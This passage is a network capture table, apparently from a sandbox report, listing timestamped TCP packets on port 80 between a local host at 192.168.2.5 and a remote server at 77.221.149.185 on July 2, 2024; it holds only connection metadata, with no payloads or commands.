Jul 2, 2024 22:52:25.191948891 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.191952944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191963911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191972971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191983938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191992044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191992998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.192002058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192013025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192023039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.192039967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.192051888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.192796946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192806005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192811966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192816019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192825079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192833900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192838907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192845106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.192848921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192857981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.192858934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192868948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192876101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.192883015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192893982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192895889 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.192903996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192908049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.192913055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192922115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192931890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.192935944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.192951918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.192967892 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.193578959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.193589926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.193598986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.193608999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.193624020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.193640947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.193702936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.193711042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.193720102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.193730116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.193742037 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.193773985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.193936110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.193947077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.193957090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.193965912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.193977118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.193996906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.194344997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.194355011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.194364071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.194396973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.194627047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.194636106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.194645882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.194655895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.194665909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.194665909 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.194674969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.194710016 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.194782972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.194793940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.194803953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.194827080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.194905043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.194942951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.194982052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.195003033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.195045948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.195389032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.195399046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.195408106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.195436001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.195516109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.195525885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.195549011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.195555925 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.195559025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.195590973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.196203947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196223974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196233034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196245909 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.196269035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.196372032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196382046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196392059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196412086 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.196453094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196463108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196495056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.196527004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196537018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196547031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196564913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.196585894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.196724892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196834087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196842909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196854115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196862936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196866989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.196871996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196882010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196891069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196897030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.196899891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.196907997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.196918011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.197146893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.197158098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.197192907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.197263002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.197273970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.197300911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.197357893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.197366953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.197382927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.197392941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.197398901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.197402954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.197416067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.197441101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.230182886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.230235100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.230245113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.230324984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.230336905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.230345964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.230462074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.230470896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.230470896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.230498075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.273394108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.279587984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.279601097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.279609919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.279654026 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.279717922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.279727936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.279738903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.279750109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.279761076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.279767990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.279827118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.279827118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.280026913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280035973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280045033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280055046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280065060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280073881 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.280075073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280085087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280092955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.280112982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.280401945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280410051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280416012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280421972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280431032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280441046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280448914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280452013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.280478001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.280495882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.280841112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280849934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280858994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280869961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280884027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280884027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.280894041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280903101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280906916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.280915022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.280932903 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.280955076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.281353951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.281363964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.281373978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.281383991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.281393051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.281399012 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.281402111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.281411886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.281421900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.281424999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.281430960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.281431913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.281441927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.281451941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.281459093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.281461954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.281471968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.281482935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.281490088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.281512022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.281527996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.282174110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.282185078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.282195091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.282205105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.282215118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.282217026 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.282224894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.282234907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.282241106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.282273054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.282618999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.282660961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.282692909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.282702923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.282732964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.282809019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.282819986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.282871962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.282934904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.282946110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.282979965 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.283127069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.283137083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.283145905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.283157110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.283166885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.283169985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.283188105 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.283373117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.283384085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.283442020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.283487082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.283497095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.283529043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.283664942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.283674955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.283689022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.283699036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.283709049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.283709049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.283720970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.283750057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.283874989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.284337044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.284348011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.284357071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.284380913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.284401894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.284522057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.284532070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.284540892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.284564018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.284630060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.284670115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.285140038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285151005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285161018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285182953 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.285231113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285240889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285249949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285259008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285269022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285274029 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.285295010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.285306931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.285440922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285451889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285464048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285475016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285490990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.285515070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.285567045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285625935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285636902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285664082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.285792112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285804033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285813093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285821915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285830975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.285835028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.285861015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.285872936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.286019087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.286040068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.286077976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.286103964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.286114931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.286145926 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.286247969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.286257982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.286267042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.286277056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.286284924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.286288023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.286324024 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.319147110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.319181919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.319192886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.319377899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.319377899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.319462061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.319472075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.319483042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.319493055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.319502115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.319525957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.319550037 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.374996901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375025988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375041008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375099897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375109911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375123024 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.375123978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375137091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375180960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.375518084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375529051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375540018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375550032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375559092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375567913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375577927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.375577927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375586987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375596046 CEST	80	49712	77.221.149.185	192.168.2.5
